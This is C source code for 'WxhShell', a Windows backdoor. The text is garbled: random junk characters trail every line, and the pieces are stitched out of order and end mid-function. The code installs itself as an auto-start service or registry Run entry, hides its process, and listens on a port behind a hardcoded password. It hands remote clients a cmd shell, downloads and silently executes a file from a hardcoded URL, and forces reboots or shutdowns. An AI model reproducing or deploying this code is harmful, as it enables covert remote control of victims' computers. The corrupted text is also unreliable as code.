    if(Boot(SHUTDOWN)) N' $DE  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z++Z@J"  
    else { 5*wApu{2A  
    closesocket(wsh); h9BD ^j  
    ExitThread(0); a;'E}b{`F  
    } r;on0wm&B  
    break; .1}rzh}8  
    } ]AZ\5C-J  
  // 获取shell M`+e'vdw  
  case 's': { *JY`.t  
    CmdShell(wsh); O})u'  
    closesocket(wsh); N~S[xS?  
    ExitThread(0); 0I>?_?~l6  
    break; /=YqjZTCq  
  } B#k3"vk#  
  // 退出 g\\1C2jG  
  case 'x': { ' MS!ss=r  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 3Da,] w<  
    CloseIt(wsh); s 9|a2/{  
    break; WW [`E  
    } @>#{WI:"~  
  // 离开 e8ULf~I  
  case 'q': { L>~@9a\jO  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 4&oXy,8LC  
    closesocket(wsh); ,+ \4 '`  
    WSACleanup(); *0&4mi8  
    exit(1); b y|?g8  
    break; 9 yW ~79n  
        } p17|ld`  
  } tf7v5iGe  
  } <5ft6a2fQ  
%eJ\d?nw  
  // 提示信息 3r-VxP 5n  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); PJK]t7vp  
} N(_ .N6  
  } z>mZT.  
4kaE}uKU  
  return; 9QOr,~~s  
} o!s%h!%L  
$d2kHT  
// shell模块句柄 yxG:\y b  
int CmdShell(SOCKET sock) 8_<&f%/  
{ esh$*)1  
STARTUPINFO si; u 5Eo  
ZeroMemory(&si,sizeof(si)); ^x_ >r6  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ;zZ,3pl-E  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ovQS ET18b  
PROCESS_INFORMATION ProcessInfo; >w2Q 1!  
char cmdline[]="cmd"; (zS2Ndp  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ^.@yF;H  
  return 0; |C$:]MZx  
} 4V228>9w  
(0OSGG9  
// 自身启动模式 oN[Fza>  
int StartFromService(void) tKG;k"wk  
{ "GwWu-GS  
typedef struct o <D3Y95b  
{ 7wiK.99  
  DWORD ExitStatus; Q\o$**+{  
  DWORD PebBaseAddress; pYLY;qkG"  
  DWORD AffinityMask; Mt[Bq6}ZD  
  DWORD BasePriority; }>{ L#JW  
  ULONG UniqueProcessId; om".j  
  ULONG InheritedFromUniqueProcessId; ` $.X[\*U  
}   PROCESS_BASIC_INFORMATION; `z3|M#r\;  
a9D gy_!Y  
PROCNTQSIP NtQueryInformationProcess; -SQJH}zCT+  
x1m8~F  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; (XbMrPKG  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; FylWbQU9  
/'Qu u)~  
  HANDLE             hProcess; *=$[}!YG  
  PROCESS_BASIC_INFORMATION pbi; i O%Zd[  
G *mO&:q  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); _&; ZmNNhc  
  if(NULL == hInst ) return 0; b?Cmc  
Y]+e  Df  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 0NL :z1N-h  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); >vD['XN,  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); E6'8Zb  
3AdP^B<  
  if (!NtQueryInformationProcess) return 0; x1 ;rb8  
oF%^QT"R  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); gB/;clCdX)  
  if(!hProcess) return 0;  &7L~PZ  
(MgL"8TS  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ur/Oc24i1n  
3E<aiGU  
  CloseHandle(hProcess); r+p@X  
d3EjI6R*z  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); tSEA999  
if(hProcess==NULL) return 0; (@ %XWg  
_L*f8e8  
HMODULE hMod; #joF{ M{  
char procName[255]; 2UU 2Vm_6  
unsigned long cbNeeded; b(q$j/~ zb  
b:fxkQm  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); n!UMU^  
8`:M\*  
  CloseHandle(hProcess); I$aXnd6)  
yD"]{  
if(strstr(procName,"services")) return 1; // 以服务启动 s~'9Hv9  
f*{M3"$E  
  return 0; // 注册表启动 -;+m%"k5  
} X!U]`Qh  
_wm~}_Q  
// 主模块 McT\ R{/  
int StartWxhshell(LPSTR lpCmdLine) ,(j>)g2Ob  
{ 3xBN10R#  
  SOCKET wsl; 5c<b|  
BOOL val=TRUE; MS{Hz,I,  
  int port=0; m3U+ du  
  struct sockaddr_in door; ^D9 /  
i'M^ez)u  
  if(wscfg.ws_autoins) Install(); !?BW_vY  
`[X6#` <  
port=atoi(lpCmdLine); 536^PcJlN  
S8*^ss>?^R  
if(port<=0) port=wscfg.ws_port; lP}od  
8BHL  
  WSADATA data; F`fGz)Mk  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ,"@w>WL<9  
@b]VCv0*f%  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   C@ FxB[  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); x HY+q ;  
  door.sin_family = AF_INET; M{*kB2jr  
  door.sin_addr.s_addr = inet_addr("127.0.0.1");  C}Rs[  
  door.sin_port = htons(port); z8g=;><  
btUq  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { jVX._bEGX  
closesocket(wsl); s0gJ f[  
return 1; <Cu'!h_nL  
} ;JAK[o8i  
i B%XBR  
  if(listen(wsl,2) == INVALID_SOCKET) { dj3|f{kg{  
closesocket(wsl); &K06}[J  
return 1; +*n] tlk  
} 63.( j P1;  
  Wxhshell(wsl); gB>(xY>LrA  
  WSACleanup(); )qbI{^_g  
~af8p {  
return 0; 1lbwJVY[  
qO7fbql_  
} +VwV5iy[`  
h{\t*U 54'  
// 以NT服务方式启动  W|lH   
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) o(:{InpV%A  
{ !{ $qMhT  
DWORD   status = 0; k - FB  
  DWORD   specificError = 0xfffffff; ,(6)ghr  
@o`sf-8x  
  serviceStatus.dwServiceType     = SERVICE_WIN32; +IvNyj|  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 6@&fvf  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 6e*%\2UA  
  serviceStatus.dwWin32ExitCode     = 0; jh>N_cp  
  serviceStatus.dwServiceSpecificExitCode = 0; 37#cx)p^f  
  serviceStatus.dwCheckPoint       = 0; F@g17aa  
  serviceStatus.dwWaitHint       = 0; 7kdeYr~<1  
hl`u"?rg  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Xc{ZN1 4n  
  if (hServiceStatusHandle==0) return; Og +)J9#  
>Q&CgGpW$  
status = GetLastError(); b~1iPaIh  
  if (status!=NO_ERROR) I[@ts!YD  
{ %yeu"  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; \e_IFISC  
    serviceStatus.dwCheckPoint       = 0; {JXf*IJ  
    serviceStatus.dwWaitHint       = 0; RZ*<n$#6  
    serviceStatus.dwWin32ExitCode     = status; #?_#!T|  
    serviceStatus.dwServiceSpecificExitCode = specificError; nQ|GqU\oA  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); $Tfm/=e  
    return; >Dxe>Q'df  
  } 87pnSj/X"  
'gYg~=  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; z23#G>I&  
  serviceStatus.dwCheckPoint       = 0; 46ILs1T6  
  serviceStatus.dwWaitHint       = 0; ;"D~W#0-v  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); >8%M*-=p  
} Ha?G=X  
<&`:&7  
// 处理NT服务事件,比如:启动、停止 WX LK89ev\  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ka/nQ~_#<  
{ [8.-(-/;  
switch(fdwControl) I4ebkPgf  
{ 7aV$YuL)X~  
case SERVICE_CONTROL_STOP: $_wo6/J5+D  
  serviceStatus.dwWin32ExitCode = 0; {aoM JJq  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; -U7,k\g  
  serviceStatus.dwCheckPoint   = 0; k; ;viT  
  serviceStatus.dwWaitHint     = 0; fSbS(a  
  { '(tj[&aL  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); @`6}`k  
  } .wP/ai>}  
  return;  e#1.T  
case SERVICE_CONTROL_PAUSE: alV dQfu  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; >:A<"wZ  
  break; as(;]  
case SERVICE_CONTROL_CONTINUE: \Yd4gaY\o  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ;uK";we  
  break; *<7l!#  
case SERVICE_CONTROL_INTERROGATE: g@Ld"5$^2  
  break; &Bm&i.r  
}; bf1)M>g,O  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7 I@";d8~  
} qIz}$%!A  
mf$Sa58  
// 标准应用程序主函数 H$Kw=kMw  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) pcnl0o~  
{ _H8*ReFG  
j|mv+O  
// 获取操作系统版本 Z&-tMai;  
OsIsNt=GetOsVer(); 1\y@E  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Je 31".  
Od-Ax+Hp  
  // 从命令行安装 W tVf wC_  
  if(strpbrk(lpCmdLine,"iI")) Install(); /9Z!p  
M1EOnq4-  
  // 下载执行文件 #~S>K3(  
if(wscfg.ws_downexe) { Q,~x#  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 68p R:  
  WinExec(wscfg.ws_filenam,SW_HIDE); F_v-}bbcFQ  
} T{tn.sT  
*,&S',S-  
if(!OsIsNt) { 9n"V\e_R  
// 如果时win9x,隐藏进程并且设置为注册表启动 Kr]z]4.d@  
HideProc(); x}|+sS,g  
StartWxhshell(lpCmdLine); I>aGp|4  
} +j.qZ8  
else .;g}%C  
  if(StartFromService()) Lc%xc`n8B  
  // 以服务方式启动 e^8BV;+c  
  StartServiceCtrlDispatcher(DispatchTable); y6FKg)  
else )b9_C O}  
  // 普通方式启动 r8,om^N6  
  StartWxhshell(lpCmdLine); 4gb'7'  
Y& 5.9 s@'  
return 0; "Vy WT  
} l sr?b  
+(&|uq^  
XhN{S]Wn  
*{|$FQnR>(  
=========================================== oqYt/4^Q  
`7\H41%\pp  
A? r^V2+j  
'g hys1H  
VX!hv`E  
SO_>c+Dw  
" s4bv;W  
5z Kqb  
#include <stdio.h> [,b)YjO~Xd  
#include <string.h> QZ~0o7  
#include <windows.h> 03_pwB)^  
#include <winsock2.h> O1'K>teF%  
#include <winsvc.h> Kp&3=e;vn{  
#include <urlmon.h> 0sh~I  
E30Z`$cz:  
#pragma comment (lib, "Ws2_32.lib") iD714+N(  
#pragma comment (lib, "urlmon.lib") #ouE r-=  
 n}OU Y  
#define MAX_USER   100 // 最大客户端连接数 ?-,6<K1  
#define BUF_SOCK   200 // sock buffer j^nu|  
#define KEY_BUFF   255 // 输入 buffer \c% g M1  
9@'4P  
#define REBOOT     0   // 重启 $@.jZ_G  
#define SHUTDOWN   1   // 关机 i ?-Y  
=?/&u<  
#define DEF_PORT   5000 // 监听端口 ISBF\ wQY  
PJK9704 6  
#define REG_LEN     16   // 注册表键长度 *HeVACxo  
#define SVC_LEN     80   // NT服务名长度 S3y246|4  
T?rH ,$:  
// 从dll定义API > c:Zx!  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); #c:kCZt#  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); E-SG8U;  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 8wmQ4){  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); b 4OnZ;FI  
^{[[Z.&R?  
// wxhshell配置信息 ,hvc``j S8  
struct WSCFG { aq$q ~,E  
  int ws_port;         // 监听端口 ,Xtj;@~-  
  char ws_passstr[REG_LEN]; // 口令 KUKI qAA  
  int ws_autoins;       // 安装标记, 1=yes 0=no J>h;_jA  
  char ws_regname[REG_LEN]; // 注册表键名 EEwWucQ  
  char ws_svcname[REG_LEN]; // 服务名 c1#+Vse  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 GHG,!C  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 6|#g+&[  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 2*'ciH37  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ]0-<>  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 4Jykos2  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 QNg\4%  
FmD +8=  
}; x<F$aXOS  
iRve)   
// default Wxhshell configuration ix*muVBj.  
struct WSCFG wscfg={DEF_PORT, tvpN/p  
    "xuhuanlingzhe", 0T9. M(  
    1, " " %#cDR  
    "Wxhshell", LGVlc@0'  
    "Wxhshell", &*gbK6JB  
            "WxhShell Service", ^l(^z fsZ  
    "Wrsky Windows CmdShell Service", ^P$7A]!  
    "Please Input Your Password: ", FYl3c   
  1, $[z<oN_Q  
  "http://www.wrsky.com/wxhshell.exe", ?cK]C2Ak  
  "Wxhshell.exe" $5A^'q  
    }; <5IQc[3]aP  
(Ilsk{aB;A  
// 消息定义模块 0*yJ %  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; [h-norB((  
char *msg_ws_prompt="\n\r? for help\n\r#>"; kEP<[K  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; niWx^gKb$  
char *msg_ws_ext="\n\rExit."; Pm?B 9S  
char *msg_ws_end="\n\rQuit."; #>[wD#XJV  
char *msg_ws_boot="\n\rReboot..."; A3q*$.[  
char *msg_ws_poff="\n\rShutdown..."; ch })ivFP[  
char *msg_ws_down="\n\rSave to "; (STx$cya  
-nR\,+N  
char *msg_ws_err="\n\rErr!"; 28UVDG1?  
char *msg_ws_ok="\n\rOK!"; A*i_|]Q  
S^j,f'2  
char ExeFile[MAX_PATH]; jQ$BPEG&X  
int nUser = 0; zP nC=h|g  
HANDLE handles[MAX_USER]; PGX+p+wB  
int OsIsNt; Uw <{i  
M-Sv1ZLh  
SERVICE_STATUS       serviceStatus; fM ^<+o@  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; '5rU e\k  
9o_- =>(  
// 函数声明 yL&/m~{s  
int Install(void); u-.L^!k  
int Uninstall(void); '[f Zt#  
int DownloadFile(char *sURL, SOCKET wsh); ~L'nz quF  
int Boot(int flag); f#OQ (WTJE  
void HideProc(void); ZqK]jT6V/X  
int GetOsVer(void); i@,]Z~]  
int Wxhshell(SOCKET wsl); T4GW1NP  
void TalkWithClient(void *cs); N`1r;%5  
int CmdShell(SOCKET sock); lRND  
int StartFromService(void); P']Y( !L  
int StartWxhshell(LPSTR lpCmdLine); *rf$>8~$n  
aR)?a;}H  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ik\S88|  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); \ja `c)x  
GYoseqZM  
// 数据结构和表定义 .'lN4x  
SERVICE_TABLE_ENTRY DispatchTable[] = &HL{LnLP@/  
{ Ef,Cd[]b  
{wscfg.ws_svcname, NTServiceMain}, >FF1)~  
{NULL, NULL} L_?$ayZ;  
}; a5V=!OoMk  
w+_Wc~f  
// 自我安装 7#pZa.B)k  
int Install(void) }4h0bI  
{ j@v-|  
  char svExeFile[MAX_PATH]; TQ'e  
  HKEY key; p;`N\.ld  
  strcpy(svExeFile,ExeFile); ' ^a!`"Bc  
o](.368+4  
// 如果是win9x系统,修改注册表设为自启动 m[8 @Unt  
if(!OsIsNt) { /aOlYqM(>  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { C +@ i  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); H\+-cvl  
  RegCloseKey(key); * nCx[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 9L  HuS  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Tz` ,{k  
  RegCloseKey(key); tcOnM w  
  return 0; v}P!HczmMP  
    } &t6Tcy  
  } 6LM9e0oxy  
} 9v~5qv;  
else { 8 u:2,l  
oMc1:=EG  
// 如果是NT以上系统,安装为系统服务 40.AM1Z0f  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); hdg<bZk:  
if (schSCManager!=0) v[L[A3`"/  
{ P) 1 EA;  
  SC_HANDLE schService = CreateService HNMBXXf, B  
  ( 6"%2,`Nu  
  schSCManager, 3 Gd|YRtk  
  wscfg.ws_svcname, (\& 62B1  
  wscfg.ws_svcdisp, Vp7b4n<  
  SERVICE_ALL_ACCESS, Fu##'#  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , @L8;VSI  
  SERVICE_AUTO_START, Z4@y?f v7s  
  SERVICE_ERROR_NORMAL, xA-jvu9@  
  svExeFile, =4>@8=JA  
  NULL, OX3Xy7  
  NULL, %?dE{ir  
  NULL, e5OVq ,  
  NULL, @p]UvqtB@  
  NULL fIkT"?  
  ); 3EOyq^I%  
  if (schService!=0) JqEb;NiP)5  
  { :8]6#c6`74  
  CloseServiceHandle(schService); e=J*Esc@k  
  CloseServiceHandle(schSCManager); sam[s4@eQ  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); F*\4l;NJ  
  strcat(svExeFile,wscfg.ws_svcname); wY`#$)O0*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ZIW7_Y>_  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); K~@`o-Z[  
  RegCloseKey(key); "dq>) JF\  
  return 0; ]_ #SAhOR)  
    } gh61H:tkR  
  } <<<NXsH  
  CloseServiceHandle(schSCManager); (&c,twa~  
} GNZ#q)qT  
} {(0Id!  
+XQP jg  
return 1; tqhh<u;  
} ]}~4J.Yn  
EL +,jrU~  
// 自我卸载 |^!Vo&T  
int Uninstall(void) /.@x 4cdS  
{ ?Cc :)  
  HKEY key; 3):?ZCw7y  
+7Rt{C,  
if(!OsIsNt) { :D4];d>1  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 8]]@S"ZM,\  
  RegDeleteValue(key,wscfg.ws_regname); 5Pqt_ZWy  
  RegCloseKey(key); O! (85rp/  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { JZw^ W{  
  RegDeleteValue(key,wscfg.ws_regname); DaCblX  
  RegCloseKey(key); [yF^IlSs  
  return 0; g]4y AV<2  
  } M:(&n@e  
} )f[C[Rd  
} +C5#$5];  
else { XHNkQe  
5p{25N_t  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); #G~wE*VR$  
if (schSCManager!=0) RNe9h lr  
{ vX 1W@s  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Ys%'#f  
  if (schService!=0) t%HI1eO7h  
  { FE}s#n_Pd  
  if(DeleteService(schService)!=0) { kyu2)L2u  
  CloseServiceHandle(schService); !mae^A1  
  CloseServiceHandle(schSCManager); ]_\AHnJ  
  return 0; q|Fjm]AF  
  } C (U  
  CloseServiceHandle(schService); AoU_;B\b%  
  } q#m!/wod  
  CloseServiceHandle(schSCManager); :mn(0 R~  
} pJocI_v9  
} PY\W  
T+(M8 qb  
return 1; +K&?)?/=  
} ;t~*F#p(!  
[9J:bD  
// 从指定url下载文件 r;'i<t{P  
int DownloadFile(char *sURL, SOCKET wsh) 6"%@ L{UQ  
{ Wt"ww~h`(  
  HRESULT hr; z6 a,0&;-L  
char seps[]= "/"; bl`D+/V   
char *token; iel-<(~   
char *file; 6N?#b66  
char myURL[MAX_PATH]; 1y~L8!: L  
char myFILE[MAX_PATH]; zF?31\GOX  
gY%OhYtF2  
strcpy(myURL,sURL); qL,ka  
  token=strtok(myURL,seps); ?0uOR *y'  
  while(token!=NULL) (H P z  
  { )# p.`J  
    file=token; .Nk}Z9L]k  
  token=strtok(NULL,seps); 3jXR"@Z-  
  } J ZA*{n2  
R qn WtE  
GetCurrentDirectory(MAX_PATH,myFILE); e) ]RA?bF  
strcat(myFILE, "\\"); pbPz$Y  
strcat(myFILE, file); G~S))p  
  send(wsh,myFILE,strlen(myFILE),0); dD o6fP2  
send(wsh,"...",3,0); i`R(7Z  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ^K"ZJ6?+1  
  if(hr==S_OK) :q(D(mK  
return 0; B_!wutV@  
else 'OG{*TDPu  
return 1; NtqFnxm/  
&jt02+Hj'  
} 27Cz1[oX  
k?< i*;7  
// 系统电源模块 ma1 (EJ/  
int Boot(int flag) eVrnVPkM  
{ El{r$-}  
  HANDLE hToken; xUIvLH=  
  TOKEN_PRIVILEGES tkp; gt~9"I  
LNaeB(z"  
  if(OsIsNt) { @`5QG2  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); KM5jl9Vv  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); y2GQN:X  
    tkp.PrivilegeCount = 1; (X*'y*:  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ?vMK'"  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); /q T E  
if(flag==REBOOT) { b-2pzcK{#  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) hr%U>U9F  
  return 0; )sRN!~  
} (v]P<3%  
else { U&`6&$]  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 5[nmP95YK  
  return 0; !;TR2Zcn  
} zaH 5 Km_j  
  } ";756'>  
  else { JR] )xPI`  
if(flag==REBOOT) { ,tau9>!  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ES^NBI j5P  
  return 0; E N)YoVk  
} bAN10U  
else { E2h(w_l  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) y2U/$%B)G  
  return 0; :DDO=  
} y:~eU  
} ,|6Y\L  
oN_S}o  
return 1; #,t2*tM  
} P`7ojXy  
w8G7Jy  
// win9x进程隐藏模块 LFl2uV"  
void HideProc(void) BQ).`f";d  
{ 6euR'd^Qi  
1]"D%U=  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 2@rp<&s  
  if ( hKernel != NULL ) 4tbw*H5!5  
  { [|y`y%  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); W&HF?w}s  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); uPI v/&HA  
    FreeLibrary(hKernel); T:be 9 5!,  
  } )gr}<}X)B  
,;9ak-$8p  
return; GVeL~Q  
} 4s[`yV  
\)FeuLGL9  
// 获取操作系统版本 7F,07\c  
int GetOsVer(void) fKFnCng  
{ ixIh T  
  OSVERSIONINFO winfo; rH[5~U  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); O'"YJ,  
  GetVersionEx(&winfo); Ii|uGxEc  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ?$UH9T9)  
  return 1; S4;wa6  
  else +G<}JJ'V  
  return 0; >?^~s(t  
} u wH)$Pl  
>Kz_My9  
// 客户端句柄模块 -FQC9~rR;g  
int Wxhshell(SOCKET wsl) yb[{aL^4%  
{ SCgyp(  
  SOCKET wsh; _2NN 1/F5  
  struct sockaddr_in client; XPar_8I  
  DWORD myID; d^ 2u}^kG  
s>LA3kT  
  while(nUser<MAX_USER) TFAYVK~  
{ ~D<7W4c  
  int nSize=sizeof(client); E%-Pyg*  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); @<hF.4,]  
  if(wsh==INVALID_SOCKET) return 1; ;gZwQ6)i  
2b; rr  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); CW.&Y?>Tv  
if(handles[nUser]==0) ,Y`'myL8W  
  closesocket(wsh); ,h3269$J  
else J@oEV=L  
  nUser++; ?R dmKA  
  } ='7er.~\  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); K#_~ !C4L  
:&xz5c`"04  
  return 0; D-'i G%)kA  
} ev~dsk6k  
m"96:v  
// 关闭 socket ;M%oQ> ].[  
void CloseIt(SOCKET wsh) u)<Ysx8G  
{ k\sc }z8X  
closesocket(wsh); H+S~ bzz  
nUser--; l[tY,Y:4qO  
ExitThread(0); Dm7Y#)%8  
} 5LDQ^n  
it(LphB8  
// 客户端请求句柄 A ~qW.  
void TalkWithClient(void *cs) qFvg}}^y  
{ ~5lKL5w  
aQ.Iq  
  SOCKET wsh=(SOCKET)cs; +P>Gy`D9  
  char pwd[SVC_LEN]; uPa/,"p  
  char cmd[KEY_BUFF]; F?*Dr  
char chr[1]; v_y!Oh?EG  
int i,j; {Q{lb(6Ba  
z7O Z4R:  
  while (nUser < MAX_USER) { 0!9?H1>  
W,QnU d'N  
if(wscfg.ws_passstr) { *>H M$.?Q  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); r]8wOu-'  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); <dju6k7uz  
  //ZeroMemory(pwd,KEY_BUFF); 08<k'Oi]  
      i=0; 7P3 <o!YA  
  while(i<SVC_LEN) { KzEuPJ?  
>2l13^Y  
  // 设置超时 hgTM5*fD}  
  fd_set FdRead; -@EBbM&  
  struct timeval TimeOut; zvek2\*rO  
  FD_ZERO(&FdRead); Q'n(^tbL  
  FD_SET(wsh,&FdRead); Wl^prs7}c  
  TimeOut.tv_sec=8; oUW )H  
  TimeOut.tv_usec=0; nz,Mqol  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 71oFm1m{  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); -X"5G  
tYI ]LL  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); V_)5Af3wY  
  pwd=chr[0]; 6{JR0  
  if(chr[0]==0xd || chr[0]==0xa) { k#1`  
  pwd=0; Jngll  
  break; D8r>a"gx  
  } /'8*aUa  
  i++; Sqp;/&Ji  
    } Q3<bC6$r  
K7 t&fDI  
  // 如果是非法用户,关闭 socket "D ts*  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Wrf^O2  
} _&k'j)rg  
7Y-FUZ.`>  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); bE7(L $UF  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); uE,i-g0$Id  
v`[Tl  
while(1) { %v?jG(o  
sDaT[).Hm  
  ZeroMemory(cmd,KEY_BUFF); Nz(c"3T;  
[ 4?cM\_u@  
      // 自动支持客户端 telnet标准   Uv @!i0W  
  j=0; .4S^nP  
  while(j<KEY_BUFF) { O:oU`vE  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); .u&&H_ UmE  
  cmd[j]=chr[0]; KKeb ioW  
  if(chr[0]==0xa || chr[0]==0xd) { "_ PH"W  
  cmd[j]=0; !SLP8|Cd  
  break; C:'WX*W  
  } >< <$  
  j++; <GL}1W"Ay  
    } ql#{=oGDnA  
>,w\lf9  
  // 下载文件 ?6gDbE%  
  if(strstr(cmd,"http://")) { !(MA5L-  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Z^/z  
  if(DownloadFile(cmd,wsh)) VYl_U?D  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); fWtb mUq  
  else A&NC0K}G!  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); D\45l  
  } J)7,&Gc6  
  else { X_-Hrp!h  
rE1np^z7  
    switch(cmd[0]) { cM> G>Yzo  
  ! /|0:QQi  
